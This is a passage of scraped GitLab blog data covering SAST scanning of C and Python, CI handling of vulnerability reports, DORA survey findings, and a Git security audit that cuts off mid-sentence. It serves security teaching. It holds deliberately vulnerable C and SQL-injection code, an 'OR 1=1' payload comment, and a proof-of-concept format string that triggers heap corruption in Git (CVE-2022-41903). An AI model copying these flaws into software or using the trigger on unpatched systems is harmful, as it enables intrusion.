Gitlab","en-us/blog/securing-your-code-on-gitlab.yml","en-us/blog/securing-your-code-on-gitlab",{"_path":2894,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2895,"content":2900,"config":2905,"_id":2907,"_type":16,"title":2908,"_source":17,"_file":2909,"_stem":2910,"_extension":20},"/en-us/blog/memory-safe-vs-unsafe",{"title":2896,"description":2897,"ogTitle":2896,"ogDescription":2897,"noIndex":6,"ogImage":2591,"ogUrl":2898,"ogSiteName":767,"ogType":768,"canonicalUrls":2898,"schema":2899},"How to secure memory-safe vs. manually managed languages","Learn how GitLab reduces source code risk using scanning, vulnerability management, and other key features.","https://about.gitlab.com/blog/memory-safe-vs-unsafe","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure memory-safe vs. manually managed languages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2023-03-14\",\n      }",{"title":2896,"description":2897,"authors":2901,"heroImage":2591,"date":2902,"body":2903,"category":14,"tags":2904},[856],"2023-03-14","\nThe National Security Agency (NSA) has published an executive summary showcasing the \nrisk of using [manually managed languages](https://en.wikipedia.org/wiki/Manual_memory_management) over [memory-safe languages](https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)) in application\ndevelopment. Manual memory management may introduce major bugs and security risks into your application if\nthe memory is managed incorrectly.\n\nSecurity bugs introduced by manually managed languages can be catastrophic to the function of the\napplication, as well as the information contained in the application. These bugs may cause\nperformance slowdowns, application crashes, remote code execution, information leakage, and\nsystem failures.\n\nBugs that may be introduced include the following:\n\n* [Memory leak](https://en.wikipedia.org/wiki/Memory_leak): Memory no longer being used is not released, which reduces the amount of available memory.\n* [Buffer overflow](https://en.wikipedia.org/wiki/Buffer_overflow): Overwriting of memory locations adjacent to a buffers boundary.\n* [Segmentation fault](https://en.wikipedia.org/wiki/Segmentation_fault): An application tries to access a restricted piece of memory.\n* [Wild pointers](https://en.wikipedia.org/wiki/Dangling_pointer): Pointer points to the memory which has been deallocated.\n* [Undefined behavior](https://en.wikipedia.org/wiki/Undefined_behavior): An application with unpredictable behavior.\n\nTo provide some insight on the prevalance of risk introduced by manually managed languages, Microsoft\nrevealed that within the span of 12 years, [70% of their vulnerabilities](https://github.com/Microsoft/MSRC-Security-Research/blob/master/presentations/2019_02_BlueHatIL/2019_01%20-%20BlueHatIL%20-%20Trends%2C%20challenge%2C%20and%20shifts%20in%20software%20vulnerability%20mitigation.pdf) were due to mismanagement of memory.\nGoogle reported that there was a [similar percentage of vulnerabilities](https://security.googleblog.com/2021/09/an-update-on-memory-safety-in-chrome.html) introduced by memory safety\nviolations within the Chrome browser.\n\nAll these vulnerabilities can be exploited by malicious actors who may compromise a device, potentially leading to a compromise of a larger network infrastructure. With this large risk presented by mismanaged memory,\nthe NSA advises organizations to consider using memory-safe languages wherever possible and providing\nmechanisms to harden applications built with manually managed languages.\n\n## Memory-safe languages vs. manually managed languages\n\nA memory-safe language is a language where memory allocation and garbage collection are abstracted away from\nthe developer and handled by the programming language itself. These languages include **Python**, **Java**, and **Go**,\nto name a few.\n\nIn contrast, manually managed languages provide a developer with full control over the system memory (with some exceptions).\nThe most popular manually managed languages are **C** and **C++**.\n\nEach language type has a purpose and use case. There are times when a memory-safe language is recommended, but there are also\ntimes when it may not suit the application requirements.\n\nBelow is a list of some pros and cons of each language type:\n\n| Language type | Pros | Cons |\n| ------------- | ---- | ---- |\n| Memory safe | Memory mangement abstracted from developer, reduced risk of memory errors | Reduced efficency/performance, unpredictable garbage collection |\n| Manually managed | Enhanced efficency/performance, no garbage collection overhead | Prone to memory-related failures |\n\nManually managed languages provide the developer with more power, but also introduce a greater amount\nof risk, so they should only be used where required.\n\n## Memory 'unsafe' language security scanning\n\nAlthough many organizations are promoting the use of memory-safe languages vs. manually managed ones, it is unrealistic\nto remove manually managed languages from a developer's toolbox. Therefore, developers must get ahead of all the\nbugs/vulnerabilities that may be introduced. This can be done by scanning application source code.\n\nGitLab supports various scanners for memory-unsafe languages. Below you can see the scanners\nused for C and C++:\n\n| Language | Scanners |\n| -------- | -------- |\n| C | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) |\n| C++ | [Flawfinder](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder) |\n\nNow let's take a look at how [GitLab's static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) allows us to find and resolve vulnerabilities.\nBelow is an application which doesn't crash, but may generate unexpected behavior:\n\n```C\n#include \u003Cstdio.h>\n\nint main()\n{  \n  char msg[5] = \"Hello\";\n\n  /* Add exclamation, to a position that doesn't exist*/\n  msg[8] = '!';\n\n  /* print each letter 1 by 1 */\n  /* Notice we are going further than the length of the array */\n  int i;\n  for (i = 0; i \u003C 10; ++i)\n  {\n    printf(\"%i: %c \\n\", i, msg[i]);\n  }\n\n  return 0;\n}\n```\n\nWhen running the GitLab SAST scanner, the vulnerability is detected and a solution is provided:\n\n![GitLab SAST scanner results](https://about.gitlab.com/images/blogimages/memory-safe-vs-manually-managed/CWE_120.png)\n\nIt shows you need to **perform bounds checking, use functions that limit length**, or\n**ensure that the size is larger than the maximum possible length.** You can also see the\n[CWE](https://cwe.mitre.org/data/definitions/120.html) for more information on how the system may be impacted.\nNote that vulnerabilities are actionable. These actions include the ability to dismiss a vulnerability and add\nadditional information for the security team to review, or a confidential issue can be created for review.\n\nThese scanners allow [DevSecOps](/topics/devsecops/) teams to resolve security issues before code makes it into production and safeguard their application\nfrom memory issues. Note that not all memory issues are easily detected due to the nature of manual memory management.\nTherefore, it is also important to add unit tests, fuzzing, and run checks using the GitLab CI to further ensure the reliability\nand security of your application.\n\nThe following applications contain examples of creating a GitLab pipeline for C applications:\n- [General Build, SAST, and Run](https://gitlab.com/tech-marketing/devsecops/initech/other/cul8r)\n- [Coverage-based fuzzing](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/c-cpp-fuzzing-example)\n\n## Memory-safe language security scanning\n\nAs more developers move to memory-safe languages, it is important that the tools\nused to prevent vulnerabilities support these languages as well. GitLab provides a rich feature set for\nsecuring application source code, especially for memory-safe languages.\n\nBelow is a table of some the popular languages GitLab supports. To see the full list, visit the\n[GitLab SAST Language/Framework Support](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) page.\n\n| Language | Scanners |\n| -------- | -------- |\n| Python | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep), [Bandit](https://gitlab.com/gitlab-org/security-products/analyzers/bandit) |\n| Go | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep), [GoSec](https://gitlab.com/gitlab-org/security-products/analyzers/gosec) |\n| Java | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep), [SpotBugs with the find-sec-bugs plugin](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs), [MobSF (beta)](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf) |\n| JavaScript | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep), [ESLint security plugin](https://gitlab.com/gitlab-org/security-products/analyzers/eslint) |\n| Ruby | [brakeman](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman) |\n\nGitLab uses a mix of open source tools developed in-house as well as commonly used tools within the open source community.\nIt is important to note that GitLab's security research team creates custom rules to better reduce false positives as well\nas enhance the number of vulnerabilities found.\n\nHere are some Python functions, which can be exploited and then data can be obtained via [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection):\n\n```python\ndef select_note_by_id(conn, id=None, admin=False):\n   query = \"SELECT id, data FROM notes WHERE secret IS FALSE\"\n   cur = conn.cursor()\n\n   # Admin doesn't have search by id function, since only used in the UI\n   if admin:\n       query = \"SELECT id, data, ipaddress, hostname, secret FROM notes\"\n\n   if id:\n       if admin:\n           query = query + \" WHERE id = %s\" % id\n       else:\n           # NOTE: Vulnerable to SQL injection, can get secret notes\n           # by adding 'OR 1=1', since not parameterized\n           query = query + \" AND id = %s\" % id\n\n   try:\n       cur.execute(query)\n   except Exception as e:\n       note.logger.error(\"Error: cannot select note by id - %s\" % e)\n\n   allItems = cur.fetchall()\n   conn.close()\n\n   if len(allItems) == 0:\n       return []\n\n   return allItems\n```\n\nWhen running the GitLab SAST scanner, you can see the SQL injection vulnerability is detected. A solution\nis provided with the line of code affected as well as identifiers that provide more information on how the\n[CWE](https://cwe.mitre.org/data/definitions/89.html) can affect your system.\n\n![SQL Injection and solution](https://about.gitlab.com/images/blogimages/memory-safe-vs-manually-managed/CWE_89.png)\n\nNotice that there is also training to enable developers to understand the vulnerability and how\nit can be exploited, and to make them more security-aware.\n\n## Other application attack vectors\n\nUsing a memory-safe language along with a SAST scanner reduces vulnerability risk, but there are more attack vectors to consider, including configurations, infrastructure, and dependencies. This is why it is important to scan all aspects of your application.\n\nGitLab offers the following scanners to help you achieve full coverage:\n\n| Scanner type | Description |\n| ------------ | ----------- |\n| [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/) | Examines applications for vulnerabilities like these in deployed environments. |\n| [Infrastructure as code (IaC) scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | Scans your IaC (Terraform, Ansible, AWS CloudFormation, Kubernetes, etc.) configuration files for known vulnerabilities. |\n| [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Finds security vulnerabilities in your software dependencies. |\n| [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) | Scans your applications container images for known vulnerabilities. |\n| [License scanning - CycloneDX](https://docs.gitlab.com/ee/user/compliance/license_scanning_of_cyclonedx_files/index.html) | Capable of parsing and identifying over 500 different types of licenses and can extract license information from packages that are dual-licensed or have multiple different licenses that apply. |\n| [Secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) | Scans your repository for secrets. |\n| [Coverage-guided fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) | Sends random inputs to an instrumented version of your application in an effort to cause unexpected behavior. |\n| [Web API fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) | Sets operation parameters to unexpected values in an effort to cause unexpected behavior and errors in the API backend. |\n\nAside from full scanner coverage, it important to add guardrails to prevent vulnerable code from compromising a production environment.\nThis can be done by requiring approval from the security team for merging any code with vulnerabilities using [GitLab policies](https://docs.gitlab.com/ee/user/application_security/policies/).\n\nTo get started using these tools and more, check out the [GitLab Application Security](https://docs.gitlab.com/ee/user/application_security/) page.\nIt's as simple as signing up for GitLab Ultimate and adding some templates to your .gitlab-ci.yml.\n\n## Managing vulnerabilities of all types\n\nAlthough we can find and address vulnerabilities before they make it into production, it is not possible to\neliminate all risk. This is why it is important to be able to assess the security posture of your project or\ngroup of projects.\n\nFor this, GitLab provides [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), which allow you to manage and triage vulnerabilities\nwithin the main branch of the application. You can sort through all the vulnerabilities for a project or\ngroup of projects using a variety of different criteria.\n\n![Vulnerability report screenshot](https://about.gitlab.com/images/blogimages/memory-safe-vs-manually-managed/vulnerability_report.png)\n\nClicking on a vulnerability sends you to its [Vulnerability Page](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/).\nThere you can review details on the vulnerability, manage its status, collaborate with other members of\nthe security team, as well as create confidential issues to assign to developers.\n\n![Vulnerability Page](https://about.gitlab.com/images/blogimages/memory-safe-vs-manually-managed/vulnerability_page.png)\n\n---\n\nThanks for reading! To learn more about available Security features, check out GitLab's [application security documentation](https://docs.gitlab.com/ee/user/application_security/)\nand get started securing your application today. You can also sign up for a [30-day free GitLab Ultimate trial](https://about.gitlab.com/free-trial/)\nand test the [Simple Notes Application](https://gitlab.com/tech-marketing/devsecops/initech/simple-notes), which contains a [full tutorial](https://tech-marketing.gitlab.io/devsecops/initech/simple-notes/) on getting started\nwith implementing and using many of GitLab's security features.\n\n## References\n\nBelow are some references used in this blog:\n\n* [The Federal Government is Moving on Memory Safety for Cybersecurity](https://www.nextgov.com/cybersecurity/2022/12/federal-government-moving-memory-safety-cybersecurity/381275/)\n* [Future of Memory Safety - Challenges and Recommendations](https://advocacy.consumerreports.org/wp-content/uploads/2023/01/Memory-Safety-Convening-Report-1-1.pdf)\n* [NSA Software Memory Safety Report](https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF)\n* [Memory Safety Wiki](https://en.wikipedia.org/wiki/Memory_safety)\n* [Manual Memory Management Wiki](https://en.wikipedia.org/wiki/Manual_memory_management)\n* [Unsafe Languages - University of Washington CS Lecture Notes](https://courses.cs.washington.edu/courses/cse341/04wi/lectures/26-unsafe-languages.html)\n* [GitLab SAST](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [GitLab Application Security](https://docs.gitlab.com/ee/user/application_security/)\n* [GitLab Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/)\n\n_Cover image by [Mohammad Rahmani](https://unsplash.com/@afgprogrammer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/C-programming?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)_",[14,776,696],{"slug":2906,"featured":6,"template":677},"memory-safe-vs-unsafe","content:en-us:blog:memory-safe-vs-unsafe.yml","Memory Safe Vs Unsafe","en-us/blog/memory-safe-vs-unsafe.yml","en-us/blog/memory-safe-vs-unsafe",{"_path":2912,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2913,"content":2919,"config":2925,"_id":2927,"_type":16,"title":2928,"_source":17,"_file":2929,"_stem":2930,"_extension":20},"/en-us/blog/actioning-security-vulnerabilities-in-gitlab-premium",{"title":2914,"description":2915,"ogTitle":2914,"ogDescription":2915,"noIndex":6,"ogImage":2916,"ogUrl":2917,"ogSiteName":767,"ogType":768,"canonicalUrls":2917,"schema":2918},"How to action security vulnerabilities in GitLab Premium","Learn step-by-step how to process detected vulnerabilities and spawn merge request approval rules from critical vulnerabilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099637/Blog/Hero%20Images/Blog/Hero%20Images/security-pipelines_security-pipelines.jpg_1750099637178.jpg","https://about.gitlab.com/blog/actioning-security-vulnerabilities-in-gitlab-premium","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to action security vulnerabilities in GitLab Premium\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Morris\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2023-03-13\",\n      }",{"title":2914,"description":2915,"authors":2920,"heroImage":2916,"date":2921,"body":2922,"category":14,"tags":2923},[2187,1053],"2023-03-13","\n\nGitLab Premium features several security scanners you can leverage to detect vulnerabilities. However, when you incorporate the scanners into your project pipelines and the scanning job succeeds, you'll want feedback on whether you are introducing vulnerabilities into the codebase. This tutorial provides a mechanism to require a merge request approval if a scanner available on GitLab Premium finds a critical vulnerability.\n\n*While this tutorial shows how to add some process around actioning vulnerabilities, we have more robust, governed, and user-friendly functionality available in GitLab Ultimate called a [Scan Result Policy](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html). The solution outlined here does not seek to replace that functionality, but rather augment the scan results available in GitLab Premium. If you are an Ultimate user or if you want to compare the two experiences, then you should check out [this video introduction](https://www.youtube.com/watch?v=w5I9gcUgr9U&ab_channel=GitLabUnfiltered) instead.*\n\nLearn how to do the following:\n\n1. Set up a .gitlab-ci.yml\n2. Add in a vulnerability processing script\n3. Require approval if vulnerabilities are found \n\n### Prerequisites\n\n- A project with GitLab Premium\n- A gitlab-ci.yml\n- A project access token\n- Basic knowledge of Python\n- 5 minutes (or less)\n\n## Setup the gitlab-ci.yml \n\nThis is how the GitLab CI pipeline of our test project looks visually. Below we will break down the individual stages.\n\nAdd the following to your .gitlab-ci.yml:\n\n```yaml\nsecret_detection:\n  artifacts:\n    paths:\n      - gl-secret-detection-report.json\n\nprocess_secret_detection:\n   image: python:3.7-alpine3.9\n   stage: process_vulns\n   needs:\n    - job: secret_detection\n      artifacts: true\n   before_script:\n      pip install python-gitlab\n   script:\n     - python3 process_vulns.py gl-secret-detection-report.json $PROJECT_ACCESS_TOKEN $CI_PROJECT_ID $CI_COMMIT_SHA\n```\n\nA breakdown of what is going on above:\n- gl-secret-detection-report.json needs to be overriden so it’s being stored as an artifact in the secret_detection job.\n- The process_secret_detection job is dependent on secret_detection's artifact so we have added a needs keyword requiring successful completion of the secret_detection job.\n- pip installs the python-gitlab dependency so that the process_vulns.py can leverage GitLab API calls.\n- The process_vulns.py is taking in four arguments:\n   - gl-secret-detection-report.json is the JSON report produced from the secret_detection scanner. If you would like to take in another report this will need to be modified.\n   - $PROJECT_ACCESS_TOKEN needs to be added; review the instructions on creating a project access token in the next step.\n   - $CI_PROJECT_ID and $CI_COMMIT_SHA are both GitLab CI environment variables that will automatically be inferred.\n\n### Create a project access token\n\nTo create a project access token:\n1. On the top bar, select Main menu > Projects and find your project.\n2. On the left sidebar, select Settings > Access Tokens.\n3. Enter a name. The token name is visible to any user with permissions to view the project.\n4. Optional. Enter an expiry date for the token. The token expires on that date at midnight UTC. An instance-wide maximum lifetime setting can limit the maximum allowable lifetime in self-managed instances.\n5. Select a role for the token.\n6. Select the desired scopes.\n7. Select Create project access token.\n8. Add this newly created project access token to your CI/CD variables in your project settings!\n\n## Add in the vulnerability processing script\n\n[The process_vulns.py script can be found here.]((https://gitlab.com/gl-demo-premium-smorris/secure-premium-app/-/blob/main/process_vulns.py) Copy that file into your project.\n\nThe goal of this script is to require approval from an author (or group of authors) if a critical vulnerability is found.\n\n**Note:** You will need to [change the user ID in the process_vulns.py](https://gitlab.com/gl-demo-premium-smorris/secure-premium-app/-/blame/main/process_vulns.py#L40) to match the user ID of your designated Approver at your organization.\n\nThe following is a breakdown of what the script is doing:\n\n- JSON security reports are loaded in, if there any vulnerabilities they are parsed.\n- An authentication with GitLab is run using the project access token to interact with the project.\n- If vulnerabilities are not found, then it will print to the GitLab CI Logs: “No vulnerabilities are found.”\n- If a critical vulnerability is found, then it will require an approval.\n\nRun the pipeline and voila! Your pipeline now requires approvers if a critical vulnerability is found!\n\n### Demo\n\nWatch a video demonstration of how to action security vulnerabilities in GitLab Premium, presented by Sam Morris:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/Cld36OZrLFo\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen>\u003C/iframe>\n\n#### Caveats\n- This is mimicking a Scan Result Policy; it is not a replacement.\n- This currently only requires approval for a critical vulnerability, and each new rule would have to be added to the script.\n- This script lives within the same location as your project, so there is no restriction on who can modify the script, breaking separation of duties at scale.\n- Approval rules are not removed once the vulnerability is fixed.\n- Approvers' IDs need to be hardcoded and maintained in the script file.\n- Since there is no vulnerability record generated, you cannot track the vulnerabilities over time in your application.\n- Vulnerabilities are not fed into a report or security dashboard, so this only reports merge request vulnerabilities.\n\n## References\n- [Create a project access token](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token)\n- [Setting up CI/CD variables](https://docs.gitlab.com/ee/ci/variables/#define-a-cicd-variable-in-the-ui)\n- [Secure Premium app project](https://gitlab.com/gl-demo-premium-smorris/secure-premium-app/-/blob/main/process_vulns.py)\n\n## Related posts\n- [GitLab's commitment to enhanced application security in the modern DevOps world](/blog/security-gitlab-15/)\n- [How to become more productive with Gitlab CI](/blog/how-to-become-more-productive-with-gitlab-ci/)\n- [GitLab CI DRY Development](/blog/keeping-your-development-dry/)\n\n_Cover image by [Christopher Burns](https://unsplash.com/@christopher__burns?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com)._",[14,776,1230,2924,696],"CD",{"slug":2926,"featured":6,"template":677},"actioning-security-vulnerabilities-in-gitlab-premium","content:en-us:blog:actioning-security-vulnerabilities-in-gitlab-premium.yml","Actioning Security Vulnerabilities In Gitlab Premium","en-us/blog/actioning-security-vulnerabilities-in-gitlab-premium.yml","en-us/blog/actioning-security-vulnerabilities-in-gitlab-premium",{"_path":2932,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2933,"content":2938,"config":2944,"_id":2946,"_type":16,"title":2947,"_source":17,"_file":2948,"_stem":2949,"_extension":20},"/en-us/blog/accelerate-state-of-devops-report-key-takeaways",{"title":2934,"description":2935,"ogTitle":2934,"ogDescription":2935,"noIndex":6,"ogImage":2840,"ogUrl":2936,"ogSiteName":767,"ogType":768,"canonicalUrls":2936,"schema":2937},"Software supply chain security practices seeing only modest adoption","DORA Accelerate State of DevOps report shows opportunity lies within better security practices, including a focus on culture.","https://about.gitlab.com/blog/accelerate-state-of-devops-report-key-takeaways","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Software supply chain security practices seeing only modest adoption\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aathira Nair\"}],\n        \"datePublished\": \"2023-02-21\",\n      }",{"title":2934,"description":2935,"authors":2939,"heroImage":2840,"date":2941,"body":2942,"category":14,"tags":2943},[2940],"Aathira Nair","2023-02-21","\nIf you are wondering what area of DevSecOps has tremendous opportunity for impact, look no further than [security of your software supply chain](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/). \n\n\"Software supply chain security practices, embodied as the [SLSA](https://about.gitlab.com/blog/achieve-slsa-level-2-compliance-with-gitlab/) or [SSDF](https://about.gitlab.com/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) frameworks, are already seeing modest adoption but are not seeing universal adoption yet. There is still a lot of room for improvement there,\" said Todd Kuleza, a member of Google Cloud's DevOps Research and Assessment (DORA) team and a senior user experience (UX) researcher at Google Cloud.\n\nKuleza, a co-author of the DORA team's [2022 State of DevOps Report](https://cloud.google.com/devops/state-of-devops/), recently joined GitLab for [a webcast](https://learn.gitlab.com/diy-devops/stateofdevops2022) to discuss software supply chain security adoption, including:\n- Why teams choose CI/CD and other modern development processes to improve their security posture\n- How automated security checks within integration and deployment help developers own security processes\n- How to establish team security practices to reduce developer burnout\n\n> [Listen to the full webcast](https://learn.gitlab.com/diy-devops/stateofdevops2022) to learn how to model your organization's security practices around the DevSecOps capabilities of high-performing teams.\n\nThe [DORA metrics](https://about.gitlab.com/blog/how-the-dora-metrics-can-help-devops-team-performance/) have become central to how we understand software delivery velocity and team performance. They have helped organizations transition to a data-driven approach for software delivery, inline with business goals.\n\n## Securing the software supply chain\n\nFrom our own [GitLab 2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/), we learned that more than 50% of developers are \"fully responsible\" for security in their organizations. Meanwhile, the DORA team found that the greatest predictor for security practices is cultural, not technical: \"High-trust, low-blame cultures focused on performance are more likely to have above average adoption of emerging security practices,\" according to their report.\n\nThe DORA report also states that organizations with low levels of security practices have 1.4x greater odds of having high levels of burnout than teams with high levels of security.\n\nAll told, this data demonstrates that security culture and technology together have to be a primary focus for DevSecOps teams going forward.\n\nLearn more about the DORA metrics:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/lM_FbVYuN8s\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[2849,14,1532],{"slug":2945,"featured":6,"template":677},"accelerate-state-of-devops-report-key-takeaways","content:en-us:blog:accelerate-state-of-devops-report-key-takeaways.yml","Accelerate State Of Devops Report Key Takeaways","en-us/blog/accelerate-state-of-devops-report-key-takeaways.yml","en-us/blog/accelerate-state-of-devops-report-key-takeaways",{"_path":2951,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2952,"content":2958,"config":2964,"_id":2966,"_type":16,"title":2967,"_source":17,"_file":2968,"_stem":2969,"_extension":20},"/en-us/blog/git-security-audit",{"title":2953,"description":2954,"ogTitle":2953,"ogDescription":2954,"noIndex":6,"ogImage":2955,"ogUrl":2956,"ogSiteName":767,"ogType":768,"canonicalUrls":2956,"schema":2957},"Git security audit: Inside the hunt for - and discovery of - CVEs","Get a behind-the-scenes look at how I helped discover the vulnerability that became CVE-2022-41903.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668524/Blog/Hero%20Images/closeup-photo-of-black-and-blue-keyboard-1194713.jpg","https://about.gitlab.com/blog/git-security-audit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git security audit: Inside the hunt for - and discovery of - CVEs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2023-01-24\",\n      }",{"title":2953,"description":2954,"authors":2959,"heroImage":2955,"date":2961,"body":2962,"category":14,"tags":2963},[2960],"Joern Schneeweisz","2023-01-24","\n\nKeeping a secure development environment is my daily focus here at GitLab. My team and I are committed to hunting for vulnerabilities and mitigating them before they impact others. I feel equally enthusiastic about helping the development community identify potential risk. So when I had the opportunity to join an open-source security audit of Git, funded by the [Open Source Technology Improvement Fund (OSTIF)](https://ostif.org/), I jumped at it. Little did I know it would lead to the discovery of [CVE-2022-41903](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq).\n\nHere's how it all unfolded.\n\n### How we set up a collaboration environment\n\nThe Git security audit was run by [X41 D-Sec](https://x41-dsec.de/) on behalf of OSTIF. Due to [prior](https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md) [experiences](https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html) in finding vulnerabilities in Git, I was very keen on joining the audit. When Markus at X41 suggested a collaboration to the OSTIF they were very open to it, so all I had to do was convince my manager to spend some time on this audit.\n\nThis wasn't a problem at all. The to-be-done work fits nicely into our Security Research Team's [Ecosystem Security Testing](/handbook/security/threat-management/security-research/#gitlab-ecosystem-security-testing) efforts. So we decided to donate a good chunk of my working hours towards the audit.\n\nMarkus and Eric on X41's side and myself on the GitLab end were able to work closely together by collaborating in a shared group on `gitlab.com`. We used an issue tracker and a repository to draft the report. Together with some free-tier runner minutes, we were all set up on the infrastructure side in 20 minutes, the time I needed to set up the CI for rendering the report. The findings were documented in the issues and via Merge Requests to the report repository, and we also had a shared chat and a couple of synchronous calls to tackle the vast codebase of Git together.\n\n### Finding CVE-2022-41903\n\nGit is compiled out of about a quarter million lines of C code — way too much\nto tackle with only three people in about a month, which was the number allocated for the audit.\nSo we had to prioritize a lot in order to get some good results. I personally tried to dive into more \"obscure\" features of the codebase as those, in my experience, are typically a bit more error prone. I searched a bit through the documentation for `git archive` while diving into [`archive.c`](https://git.kernel.org/pub/scm/git/git.git/tree/archive.c?h=v2.38.1&id=d5b41391a472dcf9486055fd5b8517f893e88daf)'s source code.\nIn that documentation the `export-ignore` and `export-subst` [attributes](https://git-scm.com/docs/git-archive/2.29.0#ATTRIBUTES) caught my attention, my `this is the obscure thing you're looking for` radar went off. \n\nWith `export-ignore` in the `.gitattributes` file it is possible to prevent individual files from being exported by `git archive`. With `export-subst` we can mark files to have [substitutions](https://git-scm.com/docs/gitattributes#_export_subst) taking place when they're exported via `git archive`. Those substitutions are using Git's [`pretty format`](https://git-scm.com/docs/git-log#_pretty_formats).\n\nLooking at the `pretty formats` documentation I did an educated guess by simply messing a bit with the [padding specifiers](https://git-scm.com/docs/git-log#Documentation/git-log.txt-emltltNgttruncltruncmtruncem). Having read a bit of the Git source code already it seemed juicy to me to allow for presumably arbitrary padding width. All those bytes must fit somewhere, right? Within the audit team we already noted the notorious use of the signed type `int` for length variables. Because of that I pretty much right away tried to create a huge padding with a very short format string. \n\nThe initial proof of concept looked like this:\n\nI had a `testfile` in a Git repository with the following content:\n\n```\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n```\n\nThis `testfile` was also referenced in the `.gitattributes` for export substitution:\n\n```\ntestfile export-subst\n```\n\nAfter committing both files to the repository I was able to trigger a heap corruption by calling `git archive` in the repository. The five padding specifiers sum up to `5368709120`, which is way beyond what an `int` could take. Markus, Eric, and I tracked the root cause down to [`format_and_pad_commit()`](https://git.kernel.org/pub/scm/git/git.git/tree/pretty.c?h=v2.38.1&id=d5b41391a472dcf9486055fd5b8517f893e88daf#n1668) in `pretty.c`.\n\nIt was a good mix of luck and gut feeling about a certain feature that led to the identification of [CVE-2022-41903](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq).\n\nThis first critical finding was the tip of the iceberg, and you can refer to [the public report](https://www.x41-dsec.de/static/reports/X41-OSTIF-Gitlab-Git-Security-Audit-20230117-public.pdf) for the full list of findings made during the audit.\n\n### Wider collaboration\n\nThis issue, the first critical one identified within the audit, put me into an interesting position. Being involved in the GitLab security, the heap corruption was pretty relevant for my \"normal\" job outside of this audit. However, there was the obvious need for discretion around the vulnerability. After aligning with all involved parties, we decided to post the vulnerability to the git-security mailing list early, even though the audit was still ongoing. As a few GitLab team members have access to this list, this was the official way to create a security incident at GitLab without any unfair advantage and still keep the vulnerability embargoed.\n\nOn the git-security mailing list, [Patrick Steinhardt](/company/team/#pks-gitlab) from our Gitaly team quickly picked up the vulnerability. On a closer look by Patrick, the formatting specifiers were a bit of a minefield and he got really involved with identifying more issues, developing fixes and even extending Git's own fuzzing harness to cover the pretty formats.\n\n### The upshot of this vulnerabilty hunt\n\nIt was a smooth collaboration between all involved 